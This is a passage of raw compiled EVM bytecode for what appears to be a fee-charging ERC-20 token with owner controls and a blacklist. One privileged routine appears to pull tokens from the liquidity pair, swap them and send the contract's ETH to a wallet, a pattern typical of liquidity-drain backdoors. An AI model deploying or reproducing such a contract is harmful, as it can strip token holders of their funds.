001808311610cd057829003601f168201915b5050505050905090565b6000610d0b610d046126b9565b84846126c1565b6001905092915050565b601d6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b610d6b6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190614771565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f0db17895a9d092fb3ca24d626f2150dd80c185b0706b36f1040ee239f56cb87160405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60195481565b60185481565b610ece6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5490614771565b60405180910390fd5b670de0b6b3a76400006103e86001610f73610d59565b610f7d91906147c0565b610f879190614849565b610f919190614849565b811015610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca906148ec565b60405180910390fd5b670de0b6b3a764000081610fe791906147c0565b60088190555050565b6000610ffd84848461288a565b6110be846110096126b9565b6110b98560405180606001604052806028815260200161591e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061106f6126b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136059092919063ffffffff16565b6126c1565b600190509392505050565b60006012905090565b600061117b6110df6126b9565b8461117685600160006110f06126b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265b90919063ffffffff16565b6126c1565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600b60009054906101000a900460ff1681565b6000601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60145481565b60155481565b600b60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112816126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130790614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006113db6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146190614771565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055506001905090565b6114946126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a90614771565b60405180910390fd5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6115866126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160c90614771565b60405180910390fd5b82601181905550816012819055508060138190555060135460125460115461163d919061490c565b611647919061490c565b60108190555060056010541115611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a906149ae565b60405180910390fd5b505050565b6000601c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116f057600080fd5b600061171b7f0000000000000000000000000000000000000000000000000000000000000000611231565b905060018311801561173857506064816117359190614849565b83105b611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e90614a1a565b60405180910390fd5b61178083613669565b61178984613735565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516117d190614a6b565b60006040518083038185875af1925050503d806000811461180e576040519150601f19603f3d011682016040523d82523d6000602084013e611813565b606091505b50509050809250505092915050565b61182a6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b090614771565b60405180910390fd5b6001600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff02191690831515021790555043601b81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61192a6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b090614771565b60405180910390fd5b80600b60026101000a81548160ff02191690831515021790555050565b6060600480546119e5906146f4565b80601f0160208091040260200160405190810160405280929190818152602001828054611a11906146f4565b8015611a5e5780601f10611a3357610100808354040283529160200191611a5e565b820191906000526020600020905b815481529060010190602001808311611a4157829003601f168201915b5050505050905090565b611a706126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af690614771565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8490614af2565b60405180910390fd5b611b978282613972565b5050565b60135481565b601a5481565b60175481565b6000611c70611bba6126b9565b84611c6b856040518060600160405280602581526020016159466025913960016000611be46126b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136059092919063ffffffff16565b6126c1565b6001905092915050565b60115481565b6000611c94611c8d6126b9565b848461288a565b6001905092915050565b611ca66126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c90614771565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e6020528060005260406000206000915054906101000a900460ff1681565b600b60019054906101000a900460ff1681565b611e306126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb690614771565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f5c919061438c565b60405180910390a25050565b611f706126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff690614771565b60405180910390fd5b826015819055508160168190555080601781905550601754601654601554612027919061490c565b612031919061490c565b601481905550600a601454111561207d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207490614b5e565b60405180910390fd5b505050565b61208a6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211090614771565b60405180910390fd5b670de0b6b3a76400006103e8600161212f610d59565b61213991906147c0565b6121439190614849565b61214d9190614849565b81101561218f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218690614bf0565b60405180910390fd5b670de0b6b3a7640000816121a391906147c0565b600a8190555050565b600f60009054906101000a900460ff1681565b60085481565b60006121cf6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461225e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225590614771565b60405180910390fd5b620186a0600161226c610d59565b61227691906147c0565b6122809190614849565b8210156122c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b990614c82565b60405180910390fd5b6103e860056122cf610d59565b6122d991906147c0565b6122e39190614849565b821115612325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231c90614d14565b60405180910390fd5b8160098190555060019050919050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b60006123d26126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245890614771565b60405180910390fd5b6000600f60006101000a81548160ff0219169083151502179055506001905090565b60125481565b6124916126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251790614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361258f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258690614da6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60165481565b600a5481565b600080828461266a919061490c565b9050838110156126af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a690614e12565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612730576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272790614ea4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361279f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279690614f36565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161287d919061445d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f090614fc8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295f9061505a565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a0c5750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a42906150ec565b60405180910390fd5b60008103612a6457612a5f83836000613a13565b613600565b600b60009054906101000a900460ff161561312857612a816118f8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612aef5750612abf6118f8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b285750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b62575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b7b5750600560149054906101000a900460ff16155b1561312757600b60019054906101000a900460ff16612c7557601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c355750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6b90615158565b60405180910390fd5b5b600f60009054906101000a900460ff1615612e3e57612c926118f8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d1957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d7157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e3d5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612def90615210565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ee15750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f8857600854811115612f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f22906152a2565b60405180910390fd5b600a54612f3783611231565b82612f42919061490c565b1115612f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7a9061530e565b60405180910390fd5b613126565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561302b5750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561307a57600854811115613075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306c906153a0565b60405180910390fd5b613125565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661312457600a546130d783611231565b826130e2919061490c565b1115613123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161311a9061530e565b60405180910390fd5b5b5b5b5b5b600061313330611231565b9050600060095482101590508080156131585750600b60029054906101000a900460ff165b80156131715750600560149054906101000a900460ff16155b80156131c75750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561321d5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132735750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156132b7576001600560146101000a81548160ff02191690831515021790555061329b613ca6565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061336d5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561337757600090505b600081156135f057601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156133da57506000601454115b156134a75761340760646133f960145488613f8d90919063ffffffff16565b61400790919063ffffffff16565b90506014546016548261341a91906147c0565b6134249190614849565b60196000828254613435919061490c565b925050819055506014546017548261344d91906147c0565b6134579190614849565b601a6000828254613468919061490c565b925050819055506014546015548261348091906147c0565b61348a9190614849565b6018600082825461349b919061490c565b925050819055506135cc565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561350257506000601054115b156135cb5761352f606461352160105488613f8d90919063ffffffff16565b61400790919063ffffffff16565b90506010546012548261354291906147c0565b61354c9190614849565b6019600082825461355d919061490c565b925050819055506010546013548261357591906147c0565b61357f9190614849565b601a6000828254613590919061490c565b92505081905550601054601154826135a891906147c0565b6135b29190614849565b601860008282546135c3919061490c565b925050819055505b5b60008111156135e1576135e0873083613a13565b5b80856135ed91906153c0565b94505b6135fb878787613a13565b505050505b505050565b600083831115829061364d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136449190614276565b60405180910390fd5b506000838561365c91906153c0565b9050809150509392505050565b6136b27f0000000000000000000000000000000000000000000000000000000000000000306136966110c9565b600a6136a29190615527565b846136ad91906147c0565b61288a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561371a57600080fd5b505af115801561372e573d6000803e3d6000fd5b5050505050565b6000600267ffffffffffffffff81111561375257613751615572565b5b6040519080825280602002602001820160405280156137805781602001602082028036833780820191505090505b5090503081600081518110613798576137976155a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561383d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061386191906155e5565b81600181518110613875576138746155a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506138da307f0000000000000000000000000000000000000000000000000000000000000000846126c1565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161393c95949392919061570b565b600060405180830381600087803b15801561395657600080fd5b505af115801561396a573d6000803e3d6000fd5b505050505050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a7990614fc8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613ae89061505a565b60405180910390fd5b613afc838383614051565b613b67816040518060600160405280602681526020016158f8602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136059092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613bfa816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265b90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c99919061445d565b60405180910390a3505050565b6000613cb130611231565b90506000601a54601854601954613cc8919061490c565b613cd2919061490c565b9050600080831480613ce45750600082145b15613cf157505050613f8b565b6014600954613d0091906147c0565b831115613d19576014600954613d1691906147c0565b92505b600060028360195486613d2c91906147c0565b613d369190614849565b613d409190614849565b90506000613d57828661405690919063ffffffff16565b90506000479050613d6782613735565b6000613d7c824761405690919063ffffffff16565b90506000613da787613d9960185485613f8d90919063ffffffff16565b61400790919063ffffffff16565b90506000613dd288613dc4601a5486613f8d90919063ffffffff16565b61400790919063ffffffff16565b90506000818385613de391906153c0565b613ded91906153c0565b9050600060198190555060006018819055506000601a81905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613e4d90614a6b565b60006040518083038185875af1925050503d8060008114613e8a576040519150601f19603f3d011682016040523d82523d6000602084013e613e8f565b606091505b505080985050600087118015613ea55750600081115b15613ef257613eb487826140a0565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601954604051613ee993929190615765565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613f3890614a6b565b60006040518083038185875af1925050503d8060008114613f75576040519150601f19603f3d011682016040523d82523d6000602084013e613f7a565b606091505b505080985050505050505050505050505b565b6000808303613f9f5760009050614001565b60008284613fad91906147c0565b9050828482613fbc9190614849565b14613ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613ff39061580e565b60405180910390fd5b809150505b92915050565b600061404983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061417a565b905092915050565b505050565b600061409883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613605565b905092915050565b6140cb307f0000000000000000000000000000000000000000000000000000000000000000846126c1565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b81526004016141309695949392919061582e565b60606040518083038185885af115801561414e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061417391906158a4565b5050505050565b600080831182906141c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141b89190614276565b60405180910390fd5b50600083856141d09190614849565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156142175780820151818401526020810190506141fc565b83811115614226576000848401525b50505050565b6000601f19601f8301169050919050565b6000614248826141dd565b61425281856141e8565b93506142628185602086016141f9565b61426b8161422c565b840191505092915050565b60006020820190508181036000830152614290818461423d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142c88261429d565b9050919050565b6142d8816142bd565b81146142e357600080fd5b50565b6000813590506142f5816142cf565b92915050565b6000819050919050565b61430e816142fb565b811461431957600080fd5b50565b60008135905061432b81614305565b92915050565b6000806040838503121561434857614347614298565b5b6000614356858286016142e6565b92505060206143678582860161431c565b9150509250929050565b60008115159050919050565b61438681614371565b82525050565b60006020820190506143a1600083018461437d565b92915050565b6000602082840312156143bd576143bc614298565b5b60006143cb848285016142e6565b91505092915050565b6000819050919050565b60006143f96143f46143ef8461429d565b6143d4565b61429d565b9050919050565b600061440b826143de565b9050919050565b600061441d82614400565b9050919050565b61442d81614412565b82525050565b60006020820190506144486000830184614424565b92915050565b614457816142fb565b82525050565b6000602082019050614472600083018461444e565b92915050565b60006020828403121561448e5761448d614298565b5b600061449c8482850161431c565b91505092915050565b6000806000606084860312156144be576144bd614298565b5b60006144cc868287016142e6565b93505060206144dd868287016142e6565b92505060406144ee8682870161431c565b9150509250925092565b600060ff82169050919050565b61450e816144f8565b82525050565b60006020820190506145296000830184614505565b92915050565b614538816142bd565b82525050565b6000602082019050614553600083018461452f565b92915050565b61456281614371565b811461456d57600080fd5b50565b60008135905061457f81614559565b92915050565b6000806040838503121561459c5761459b614298565b5b60006145aa858286016142e6565b92505060206145bb85828601614570565b9150509250929050565b6000806000606084860312156145de576145dd614298565b5b60006145ec8682870161431c565b93505060206145fd8682870161431c565b925050604061460e8682870161431c565b9150509250925092565b6000806040838503121561462f5761462e614298565b5b600061463d8582860161431c565b925050602061464e8582860161431c565b9150509250929050565b60006020828403121561466e5761466d614298565b5b600061467c84828501614570565b91505092915050565b6000806040838503121561469c5761469b614298565b5b60006146aa858286016142e6565b92505060206146bb858286016142e6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061470c57607f821691505b60208210810361471f5761471e6146c5565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061475b6020836141e8565b915061476682614725565b602082019050919050565b6000602082019050818103600083015261478a8161474e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006147cb826142fb565b91506147d6836142fb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561480f5761480e614791565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614854826142fb565b915061485f836142fb565b92508261486f5761486e61481a565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006148d6602f836141e8565b91506148e18261487a565b604082019050919050565b60006020820190508181036000830152614905816148c9565b9050919050565b6000614917826142fb565b9150614922836142fb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561495757614956614791565b5b828201905092915050565b7f4d757374206b6565702066656573206174203525206f72206c65737300000000600082015250565b6000614998601c836141e8565b91506149a382614962565b602082019050919050565b600060208201905081810360008301526149c78161498b565b9050919050565b7f616d6f756e742065786365656465640000000000000000000000000000000000600082015250565b6000614a04600f836141e8565b9150614a0f826149ce565b602082019050919050565b60006020820190508181036000830152614a33816149f7565b9050919050565b600081905092915050565b50565b6000614a55600083614a3a565b9150614a6082614a45565b600082019050919050565b6000614a7682614a48565b9150819050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000614adc6039836141e8565b9150614ae782614a80565b604082019050919050565b60006020820190508181036000830152614b0b81614acf565b9050919050565b7f4d757374206b656570206665657320617420313025206f72206c657373000000600082015250565b6000614b48601d836141e8565b9150614b5382614b12565b602082019050919050565b60006020820190508181036000830152614b7781614b3b565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614bda6024836141e8565b9150614be582614b7e565b604082019050919050565b60006020820190508181036000830152614c0981614bcd565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614c6c6035836141e8565b9150614c7782614c10565b604082019050919050565b60006020820190508181036000830152614c9b81614c5f565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614cfe6034836141e8565b9150614d0982614ca2565b604082019050919050565b60006020820190508181036000830152614d2d81614cf1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d906026836141e8565b9150614d9b82614d34565b604082019050919050565b60006020820190508181036000830152614dbf81614d83565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614dfc601b836141e8565b9150614e0782614dc6565b602082019050919050565b60006020820190508181036000830152614e2b81614def565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614e8e6024836141e8565b9150614e9982614e32565b604082019050919050565b60006020820190508181036000830152614ebd81614e8